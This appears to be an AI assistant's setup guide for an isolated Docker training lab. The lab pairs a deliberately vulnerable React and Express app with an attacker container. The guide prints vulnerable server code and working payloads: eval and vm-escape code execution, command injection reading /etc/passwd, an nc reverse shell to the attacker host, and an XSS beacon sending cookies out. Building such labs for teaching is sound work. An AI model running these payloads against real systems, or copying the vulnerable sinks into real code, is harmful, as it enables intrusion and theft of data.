Docker Compose Setup — Vulnerable React + Express RCE Lab
⚠️ Educational use only. Bind ports to 127.0.0.1 only. Run on an isolated Docker network with no internet egress. Never expose to a public network.
This packages the first demo (React frontend + Express backend with eval, exec, and vm sinks) into a two-container Compose stack, plus an optional attacker container for observing reverse shells and exfil.
1. Project Layout
react-rce-lab/
├── docker-compose.yml
├── attacker/
│ └── Dockerfile
├── backend/
│ ├── Dockerfile
│ ├── package.json
│ └── server.js
└── frontend/
├── Dockerfile
├── package.json
├── vite.config.js
├── index.html
└── src/
├── main.jsx
├── App.jsx
└── App.css
I’m using Vite + React for the frontend (simplest way to serve a React SPA in a container with a dev server) and plain Express for the backend.
2. docker-compose.yml
services:
backend:
build: ./backend
container_name: rce-backend
# Bind to host loopback only
ports:
- "127.0.0.1:4000:4000"
environment:
- NODE_ENV=development
- PORT=4000
networks:
- lab-internal
- lab-bridge
restart: "no"
frontend:
build: ./frontend
container_name: rce-frontend
ports:
- "127.0.0.1:5173:5173"
environment:
# Browsers hit this URL directly, so use the host-side mapping
- VITE_API_URL=http://127.0.0.1:4000
- CHOKIDAR_USEPOLLING=true
depends_on:
- backend
networks:
- lab-internal
- lab-bridge
restart: "no"
attacker:
build: ./attacker
container_name: rce-attacker
ports:
# Loopback only, so you can attach to the listener from the host too
- "127.0.0.1:4444:4444"
networks:
- lab-internal
tty: true
stdin_open: true
restart: "no"
networks:
# internal: true → no internet egress from any container on this net
lab-internal:
internal: true
# Bridge only exists so the host browser can reach the exposed ports
lab-bridge:
driver: bridge
Design notes:
lab-internalisinternal: true, so even if an attacker pops a shell, they cannot call out to the internet — everything is contained.- The attacker container is only on
lab-internal, so the victim can resolve it by DNS name (attacker). - Every published port is bound to
127.0.0.1on the host, never0.0.0.0.
3. Backend
3.1 backend/package.json
{
"name": "rce-backend",
"version": "1.0.0",
"private": true,
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"dependencies": {
"cors": "^2.8.5",
"express": "^4.19.2"
}
}
3.2 backend/server.js — intentionally vulnerable
// server.js - INTENTIONALLY VULNERABLE - LAB USE ONLY
const express = require('express');
const cors = require('cors');
const { exec } = require('child_process');
const vm = require('vm');
const app = express();
app.use(cors());
app.use(express.json({ limit: '1mb' }));
// Health check
app.get('/health', (_req, res) => res.json({ ok: true }));
// ❌ VULN #1: eval() of user input → arbitrary JS in the Node process
app.post('/api/calculate', (req, res) => {
const { expression } = req.body ?? {};
if (typeof expression !== 'string') {
return res.status(400).json({ error: 'expression required' });
}
try {
// eslint-disable-next-line no-eval
const result = eval(expression);
res.json({ result: String(result) });
} catch (err) {
res.status(500).json({ error: err.message });
}
});
// ❌ VULN #2: shell interpolation → command injection
app.post('/api/ping', (req, res) => {
const { host } = req.body ?? {};
if (typeof host !== 'string') {
return res.status(400).json({ error: 'host required' });
}
// Attacker: "127.0.0.1; cat /etc/passwd"
exec(`ping -c 1 -W 2 ${host}`, { timeout: 5000 }, (err, stdout, stderr) => {
if (err && !stdout) {
return res.status(500).json({ error: err.message, stderr });
}
res.json({ output: stdout || stderr });
});
});
// ❌ VULN #3: vm.runInNewContext sandbox escape
app.post('/api/template', (req, res) => {
const { template } = req.body ?? {};
if (typeof template !== 'string') {
return res.status(400).json({ error: 'template required' });
}
try {
const script = new vm.Script(`(ctx) => \`${template}\``);
const fn = script.runInNewContext({});
res.json({ rendered: fn({}) });
} catch (err) {
res.status(500).json({ error: err.message });
}
});
const PORT = process.env.PORT || 4000;
app.listen(PORT, '0.0.0.0', () => {
console.log(`[vuln-backend] listening on :${PORT}`);
});
3.3 backend/Dockerfile
FROM node:20-alpine
WORKDIR /app
# Tools we want available so the exploits have something to run
RUN apk add --no-cache iputils curl bash
COPY package.json ./
RUN npm install --omit=dev
COPY server.js ./
EXPOSE 4000
CMD ["node", "server.js"]
4. Frontend
4.1 frontend/package.json
{
"name": "rce-frontend",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"dev": "vite --host 0.0.0.0 --port 5173",
"build": "vite build",
"preview": "vite preview --host 0.0.0.0 --port 5173"
},
"dependencies": {
"react": "^18.3.1",
"react-dom": "^18.3.1"
},
"devDependencies": {
"@vitejs/plugin-react": "^4.3.1",
"vite": "^5.3.3"
}
}
4.2 frontend/vite.config.js
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
export default defineConfig({
plugins: [react()],
server: {
host: '0.0.0.0',
port: 5173,
// Allow the container hostname when served behind the host
allowedHosts: true,
},
});
4.3 frontend/index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Vulnerable React + Express RCE Lab</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.jsx"></script>
</body>
</html>
4.4 frontend/src/main.jsx
import React from 'react';
import ReactDOM from 'react-dom/client';
import App from './App.jsx';
import './App.css';
ReactDOM.createRoot(document.getElementById('root')).render(
<React.StrictMode>
<App />
</React.StrictMode>
);
4.5 frontend/src/App.jsx
import React, { useState } from 'react';
const API = import.meta.env.VITE_API_URL || 'http://127.0.0.1:4000';
async function post(path, body) {
const r = await fetch(`${API}${path}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
return r.json();
}
function CalculatorPanel() {
const [expr, setExpr] = useState(
"process.mainModule.require('child_process').execSync('id').toString()"
);
const [result, setResult] = useState('');
const run = async () => setResult(JSON.stringify(await post('/api/calculate', { expression: expr }), null, 2));
return (
<section className="panel">
<h2>🧮 Expression Evaluator (eval RCE)</h2>
<input value={expr} onChange={(e) => setExpr(e.target.value)} size={80} />
<button onClick={run}>Evaluate</button>
<pre>{result}</pre>
</section>
);
}
function PingPanel() {
const [host, setHost] = useState('127.0.0.1; cat /etc/passwd');
const [out, setOut] = useState('');
const ping = async () => {
const r = await post('/api/ping', { host });
setOut(r.output || r.error || r.stderr || '');
};
return (
<section className="panel">
<h2>📡 Network Ping (command injection)</h2>
<input value={host} onChange={(e) => setHost(e.target.value)} size={80} />
<button onClick={ping}>Ping</button>
<pre>{out}</pre>
</section>
);
}
function TemplatePanel() {
const [tpl, setTpl] = useState(
"${this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}"
);
const [rendered, setRendered] = useState('');
const render = async () => {
const r = await post('/api/template', { template: tpl });
setRendered(r.rendered || r.error || '');
};
return (
<section className="panel">
<h2>📝 Template Renderer (vm escape → XSS sink)</h2>
<input value={tpl} onChange={(e) => setTpl(e.target.value)} size={80} />
<button onClick={render}>Render</button>
{/* ❌ XSS sink: unsanitized HTML from the server */}
<div dangerouslySetInnerHTML={{ __html: rendered }} />
<pre>{rendered}</pre>
</section>
);
}
export default function App() {
return (
<div className="app">
<h1>Vulnerable React + Express RCE Lab</h1>
<p className="warn">⚠️ Training environment — never expose beyond 127.0.0.1</p>
<CalculatorPanel />
<PingPanel />
<TemplatePanel />
<footer>
Attacker listener: <code>docker exec -it rce-attacker nc -lvnp 4444</code>
</footer>
</div>
);
}
4.6 frontend/src/App.css
.app { font-family: system-ui, sans-serif; max-width: 900px; margin: 2rem auto; padding: 0 1rem; }
.panel { border: 1px solid #ccc; border-radius: 8px; padding: 1rem; margin: 1rem 0; }
.warn { color: #b00; font-weight: bold; }
input { padding: 0.4rem; margin-right: 0.5rem; width: 70%; }
button { padding: 0.4rem 0.9rem; }
pre { background: #111; color: #0f0; padding: 0.75rem; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }
footer { margin-top: 2rem; color: #666; font-size: 0.9rem; }
code { background: #eee; padding: 0.1rem 0.3rem; border-radius: 4px; }
4.7 frontend/Dockerfile
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install
COPY . .
EXPOSE 5173
CMD ["npm", "run", "dev"]
5. Attacker Container
attacker/Dockerfile:
FROM alpine:3.19
RUN apk add --no-cache netcat-openbsd bash curl python3
CMD ["sh", "-c", "echo 'attacker ready'; nc -lvnp 4444"]
Run extra listeners ad-hoc inside it, e.g. a second shell on another port:
docker exec -it rce-attacker sh -c 'nc -lvnp 4445'
6. Build & Run
cd react-rce-lab
docker compose build
docker compose up -d
docker compose ps
docker compose logs -f backend
Open http://127.0.0.1:5173 in your browser.
Start the attacker listener:
docker exec -it rce-attacker nc -lvnp 4444
7. Attack Demonstrations
A. eval RCE — read arbitrary files
Expression Evaluator:
process.mainModule.require('fs').readFileSync('/etc/passwd','utf8')
B. Reverse shell from the backend container
Ping panel:
127.0.0.1; nc attacker 4444 -e /bin/sh
You’ll get a shell in the attacker terminal as the node user inside rce-backend. Confirm with:
hostname # rce-backend
id
ls /app
C. vm sandbox escape
Template panel (default value is already this payload):
${this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}
D. XSS via dangerouslySetInnerHTML
Template value:
<img src=x onerror="fetch('http://attacker:4444/?c='+document.cookie)">
The attacker container won’t respond on 4444 over HTTP while nc is listening, but you can swap in:
docker exec -it rce-attacker sh -c 'python3 -m http.server 8080'
and point the XSS at http://attacker:8080/?c=... to see the beacon.
E. curl-only PoC (no browser)
curl -s http://127.0.0.1:4000/api/ping \
-H 'content-type: application/json' \
-d '{"host":"127.0.0.1; id; uname -a"}' | jq
curl -s http://127.0.0.1:4000/api/calculate \
-H 'content-type: application/json' \
-d '{"expression":"process.version"}' | jq
8. Useful Debug Commands
# Backend container shell (when you have a shell there via RCE, you can
# also just exec in for convenience):
docker exec -it rce-backend sh
# Tail logs
docker compose logs -f backend
# Confirm no internet egress from the internal net:
docker exec -it rce-backend sh -c 'curl -m 3 https://example.com || echo BLOCKED'
# Confirm containers can resolve each other on lab-internal:
docker exec -it rce-backend sh -c 'getent hosts attacker'
The BLOCKED line proves the internal: true network did its job. The getent line proves the RCE’d container can still reach the attacker container by name — which is exactly the exfil path you’re demonstrating.
9. Tear Down
docker compose down -v --rmi local
docker network prune -f
10. Notes on the Deliberate Weaknesses
| Layer | Weakness | Where |
|---|---|---|
| Backend | eval() on request body |
server.js /api/calculate |
| Backend | exec() with template literal |
server.js /api/ping |
| Backend | vm.runInNewContext with interpolated template |
server.js /api/template |
| Frontend | dangerouslySetInnerHTML on server response |
App.jsx TemplatePanel |
| Network | Internal-only egress but unrestricted intra-network comms | docker-compose.yml lab-internal |
| Container | Runs as root (node image default user unless overridden) |
backend/Dockerfile |
| CORS | cors() with no origin restriction |
server.js |
For a hardened side-by-side version — same UI, but with mathjs for expressions, execFile + host regex for ping, DOMPurify on the client, and --cap-drop=ALL --read-only --user 1000:1000 --security-opt=no-new-privileges on the containers — say the word and I’ll add a second docker-compose.hardened.yml so you can run before/after in a workshop.